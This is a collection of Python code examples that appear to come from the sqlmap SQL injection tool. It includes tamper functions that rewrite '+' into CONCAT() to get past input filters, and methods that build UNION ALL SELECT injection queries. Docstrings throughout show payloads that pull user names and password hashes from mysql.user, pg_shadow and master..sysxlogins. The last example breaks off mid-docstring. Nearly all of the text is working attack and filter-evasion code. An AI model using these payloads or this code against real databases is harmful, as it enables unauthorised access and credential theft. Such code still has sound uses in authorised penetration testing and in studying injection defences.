Ejemplo n.º 1
0
def tamper(payload, **kwargs):
    """
    Replaces plus ('+') character with function CONCAT()

    Tested against:
        * Microsoft SQL Server 2012

    Requirements:
        * Microsoft SQL Server 2012+

    Notes:
        * Useful in case ('+') character is filtered

    >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
    'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'

    >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL')
    'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'
    """

    retVal = payload

    if payload:
        while True:
            indexes = zeroDepthSearch(retVal, '+')

            if indexes:
                first, last = 0, 0
                for i in xrange(1, len(indexes)):
                    if ' ' in retVal[indexes[0]:indexes[i]]:
                        break
                    else:
                        last = i

                start = retVal[:indexes[first]].rfind(' ') + 1
                end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1

                chars = [char for char in retVal]
                for index in indexes[first:last + 1]:
                    chars[index] = ','

                retVal = "%sCONCAT(%s)%s" % (retVal[:start], ''.join(chars)[start:end], retVal[end:])
            else:
                match = re.search(r"\((CHAR\(\d+.+CHAR\(\d+\))\)", retVal)
                if match:
                    part = match.group(0)
                    indexes = set(zeroDepthSearch(match.group(1), '+'))
                    if not indexes:
                        break
                    chars = [char for char in part]
                    for i in xrange(1, len(chars)):
                        if i - 1 in indexes:
                            chars[i] = ','
                    replacement = "CONCAT%s" % "".join(chars)
                    retVal = retVal.replace(part, replacement)
                else:
                    break

    return retVal
Ejemplo n.º 2
0
def tamper(payload, **kwargs):
    """
    Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart

    Tested against:
        * Microsoft SQL Server 2012

    Requirements:
        * Microsoft SQL Server 2012+

    Notes:
        * Useful in case ('+') character is filtered

    >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
    'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'

    >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL')
    'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'
    """

    retVal = payload

    if payload:
        while True:
            indexes = zeroDepthSearch(retVal, '+')

            if indexes:
                first, last = 0, 0
                for i in xrange(1, len(indexes)):
                    if ' ' in retVal[indexes[0]:indexes[i]]:
                        break
                    else:
                        last = i

                start = retVal[:indexes[first]].rfind(' ') + 1
                end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1

                chars = [char for char in retVal]
                for index in indexes[first:last + 1]:
                    chars[index] = ','

                retVal = "%sCONCAT(%s)%s" % (retVal[:start], ''.join(chars)[start:end], retVal[end:])
            else:
                match = re.search(r"\((CHAR\(\d+.+\bCHAR\(\d+\))\)", retVal)
                if match:
                    part = match.group(0)
                    indexes = set(zeroDepthSearch(match.group(1), '+'))
                    if not indexes:
                        break
                    chars = [char for char in part]
                    for i in xrange(1, len(chars)):
                        if i - 1 in indexes:
                            chars[i] = ','
                    replacement = "CONCAT%s" % "".join(chars)
                    retVal = retVal.replace(part, replacement)
                else:
                    break

    return retVal
Ejemplo n.º 3
0
def tamper(payload, **kwargs):
    """
    Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart
    Tested against:
        * Microsoft SQL Server 2012
    Requirements:
        * Microsoft SQL Server 2012+
    Notes:
        * Useful in case ('+') character is filtered
    >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
    'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'
    >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')
    '1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe'
    """

    retVal = payload

    if payload:
        match = re.search(
            r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal)
        if match:
            part = match.group(0)

            chars = [char for char in part]
            for index in zeroDepthSearch(part, '+'):
                chars[index] = ','

            replacement = "CONCAT(%s)" % "".join(chars)
            retVal = retVal.replace(part, replacement)

    return retVal
Ejemplo n.º 4
0
    def getFields(self, query):
        """
        Take in input a query string and return its fields (columns) and
        more details.

        Example:

        Input:  SELECT user, password FROM mysql.user
        Output: user,password

        @param query: query to be processed
        @type query: C{str}

        @return: query fields (columns) and more details
        @rtype: C{str}
        """

        prefixRegex = r"(?:\s+(?:FIRST|SKIP)\s+\d+)*"
        fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
        fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
        fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
        fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
        fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I)
        fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I)
        fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
        fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I)
        fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I)
        fieldsNoSelect = query

        if fieldsSubstr:
            fieldsToCastStr = query
        elif fieldsMinMaxstr:
            fieldsToCastStr = fieldsMinMaxstr.groups()[0]
        elif fieldsExists:
            fieldsToCastStr = fieldsSelect.groups()[0]
        elif fieldsSelectTop:
            fieldsToCastStr = fieldsSelectTop.groups()[0]
        elif fieldsSelectRownum:
            fieldsToCastStr = fieldsSelectRownum.groups()[0]
        elif fieldsSelectDistinct:
            fieldsToCastStr = fieldsSelectDistinct.groups()[0]
        elif fieldsSelectCase:
            fieldsToCastStr = fieldsSelectCase.groups()[0]
        elif fieldsSelectFrom:
            _ = zeroDepthSearch(query, " FROM ")
            fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
            fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr)
        elif fieldsSelect:
            fieldsToCastStr = fieldsSelect.groups()[0]
        else:
            fieldsToCastStr = fieldsNoSelect

        # Function
        if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
            fieldsToCastList = [fieldsToCastStr]
        else:
            fieldsToCastList = splitFields(fieldsToCastStr)

        return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists
Ejemplo n.º 5
0
    def nullCastConcatFields(self, fields):
        """
        Take in input a sequence of fields string and return its processed
        nulled, casted and concatenated fields string.

        Examples:

        MySQL input:  user,password
        MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
        MySQL scope:  SELECT user, password FROM mysql.user

        PostgreSQL input:  usename,passwd
        PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
        PostgreSQL scope:  SELECT usename, passwd FROM pg_shadow

        Oracle input:  COLUMN_NAME,DATA_TYPE
        Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
        Oracle scope:  SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'

        Microsoft SQL Server input:  name,master.dbo.fn_varbintohexstr(password)
        Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
        Microsoft SQL Server scope:  SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins

        @param fields: fields string to be processed
        @type fields: C{str}

        @return: fields string nulled, casted and concatened
        @rtype: C{str}
        """

        if not Backend.getDbms():
            return fields

        if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields):
            nulledCastedConcatFields = fields
        else:
            fields = fields.replace(", ", ',')
            commas = [-1, len(fields)]
            commas.extend(zeroDepthSearch(fields, ','))
            commas = sorted(commas)
            fieldsSplitted = [fields[x + 1:y] for (x, y) in zip(commas, commas[1:])]
            dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
            nulledCastedFields = []

            for field in fieldsSplitted:
                nulledCastedFields.append(self.nullAndCastField(field))

            delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
            nulledCastedConcatFields = delimiterStr.join(field for field in nulledCastedFields)

        return nulledCastedConcatFields
Ejemplo n.º 6
0
def tamper(payload, **kwargs):
    """
    Replaces plus ('+') character with function CONCAT()

    Tested against:
        * Microsoft SQL Server 2012

    Requirements:
        * Microsoft SQL Server 2012+

    Notes:
        * Useful in case ('+') character is filtered

    >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
    'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'
    """

    retVal = payload

    if payload:
        while True:
            indexes = zeroDepthSearch(retVal, '+')
            if indexes:
                first, last = 0, 0
                for i in xrange(1, len(indexes)):
                    if ' ' in retVal[indexes[0]:indexes[i]]:
                        break
                    else:
                        last = i

                start = retVal[:indexes[first]].rfind(' ') + 1
                end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] +
                       1) if ' ' in retVal[indexes[last] +
                                           1:] else len(retVal) - 1

                chars = [char for char in retVal]
                for index in indexes[first:last + 1]:
                    chars[index] = ','

                retVal = "%sCONCAT(%s)%s" % (
                    retVal[:start], ''.join(chars)[start:end], retVal[end:])
            else:
                break

    return retVal
Ejemplo n.º 7
0
def tamper(payload, **kwargs):
    """
    Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart

    Tested against:
        * Microsoft SQL Server 2008

    Requirements:
        * Microsoft SQL Server 2008+

    Notes:
        * Useful in case ('+') character is filtered
        * https://msdn.microsoft.com/en-us/library/bb630290.aspx

    >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
    'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL'

    >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')
    '1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe'
    """

    retVal = payload

    if payload:
        match = re.search(
            r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal)
        if match:
            old = match.group(0)
            parts = []
            last = 0

            for index in zeroDepthSearch(old, '+'):
                parts.append(old[last:index].strip('+'))
                last = index

            parts.append(old[last:].strip('+'))
            replacement = parts[0]

            for i in xrange(1, len(parts)):
                replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i])

            retVal = retVal.replace(old, replacement)

    return retVal
Ejemplo n.º 8
0
    def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
        """
        Take in input an query (pseudo query) string and return its
        processed UNION ALL SELECT query.

        Examples:

        MySQL input:  CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
        MySQL output:  UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488

        PostgreSQL input:  (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
        PostgreSQL output:  UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713

        Oracle input:  (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
        Oracle output:  UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738

        Microsoft SQL Server input:  (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
        Microsoft SQL Server output:  UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254

        @param query: it is a processed query string unescaped to be
        forged within an UNION ALL SELECT statement
        @type query: C{str}

        @param position: it is the NULL position where it is possible
        to inject the query
        @type position: C{int}

        @return: UNION ALL SELECT query string forged
        @rtype: C{str}
        """

        if conf.uFrom:
            fromTable = " FROM %s" % conf.uFrom
        else:
            fromTable = fromTable or FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")

        if query.startswith("SELECT "):
            query = query[len("SELECT "):]

        unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)

        if limited:
            unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
            unionQuery += fromTable
            unionQuery = self.suffixQuery(unionQuery, comment, suffix)

            return unionQuery
        else:
            _ = zeroDepthSearch(query, " FROM ")
            if _:
                fromTable = query[_[0]:]

            if fromTable and query.endswith(fromTable):
                query = query[:-len(fromTable)]

        topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I)
        if topNumRegex:
            topNum = topNumRegex.group(1)
            query = query[len("TOP %s " % topNum):]
            unionQuery += "TOP %s " % topNum

        intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)

        if intoRegExp:
            intoRegExp = intoRegExp.group(1)
            query = query[:query.index(intoRegExp)]

        for element in xrange(0, count):
            if element > 0:
                unionQuery += ','

            if element == position:
                unionQuery += query
            else:
                unionQuery += char

        if fromTable and not unionQuery.endswith(fromTable):
            unionQuery += fromTable

        if intoRegExp:
            unionQuery += intoRegExp

        if multipleUnions:
            unionQuery += " UNION ALL SELECT "

            for element in xrange(count):
                if element > 0:
                    unionQuery += ','

                if element == position:
                    unionQuery += multipleUnions
                else:
                    unionQuery += char

            if fromTable:
                unionQuery += fromTable

        unionQuery = self.suffixQuery(unionQuery, comment, suffix)

        return unionQuery
Ejemplo n.º 9
0
    def concatQuery(self, query, unpack=True):
        """
        Take in input a query string and return its processed nulled,
        casted and concatenated query string.

        Examples:

        MySQL input:  SELECT user, password FROM mysql.user
        MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user

        PostgreSQL input:  SELECT usename, passwd FROM pg_shadow
        PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow

        Oracle input:  SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
        Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'

        Microsoft SQL Server input:  SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
        Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins

        @param query: query string to be processed
        @type query: C{str}

        @return: query string nulled, casted and concatenated
        @rtype: C{str}
        """

        if unpack:
            concatenatedQuery = ""
            query = query.replace(", ", ',')
            fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
            castedFields = self.nullCastConcatFields(fieldsToCastStr)
            concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
        else:
            return query

        if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
                concatenatedQuery += ",'%s')" % kb.chars.stop
            elif fieldsSelectCase:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
                concatenatedQuery += ",'%s')" % kb.chars.stop
            elif fieldsSelectFrom:
                _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
                concatenatedQuery = "%s,'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
            elif fieldsSelect:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
                concatenatedQuery += ",'%s')" % kb.chars.stop
            elif fieldsNoSelect:
                concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)

        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
            elif fieldsSelectCase:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
                concatenatedQuery += ")||'%s'" % kb.chars.stop
            elif fieldsSelectFrom:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
                concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
            elif fieldsSelect:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
            elif fieldsNoSelect:
                concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)

        elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
                concatenatedQuery += "+'%s'" % kb.chars.stop
            elif fieldsSelectTop:
                topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
                concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
                concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
            elif fieldsSelectCase:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
                concatenatedQuery += "+'%s'" % kb.chars.stop
            elif fieldsSelectFrom:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
                _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
                concatenatedQuery = "%s+'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
            elif fieldsSelect:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
                concatenatedQuery += "+'%s'" % kb.chars.stop
            elif fieldsNoSelect:
                concatenatedQuery = "'%s'+%s+'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)

        elif Backend.isDbms(DBMS.ACCESS):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
                concatenatedQuery += "&'%s'" % kb.chars.stop
            elif fieldsSelectCase:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&(SELECT " % kb.chars.start, 1)
                concatenatedQuery += ")&'%s'" % kb.chars.stop
            elif fieldsSelectFrom:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
                _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
                concatenatedQuery = "%s&'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
            elif fieldsSelect:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
                concatenatedQuery += "&'%s'" % kb.chars.stop
            elif fieldsNoSelect:
                concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)

        else:
            warnMsg = "applying generic concatenation with double pipes ('||')"
            singleTimeWarnMessage(warnMsg)

            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
            elif fieldsSelectCase:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
                concatenatedQuery += ")||'%s'" % kb.chars.stop
            elif fieldsSelectFrom:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
                concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
            elif fieldsSelect:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
            elif fieldsNoSelect:
                concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)

        return concatenatedQuery
Ejemplo n.º 10
0
    def forgeUnionQuery(self,
                        query,
                        position,
                        count,
                        comment,
                        prefix,
                        suffix,
                        char,
                        where,
                        multipleUnions=None,
                        limited=False,
                        fromTable=None):
        """
        Take in input an query (pseudo query) string and return its
        processed UNION ALL SELECT query.

        Examples:

        MySQL input:  CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
        MySQL output:  UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488

        PostgreSQL input:  (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
        PostgreSQL output:  UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713

        Oracle input:  (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
        Oracle output:  UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738

        Microsoft SQL Server input:  (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
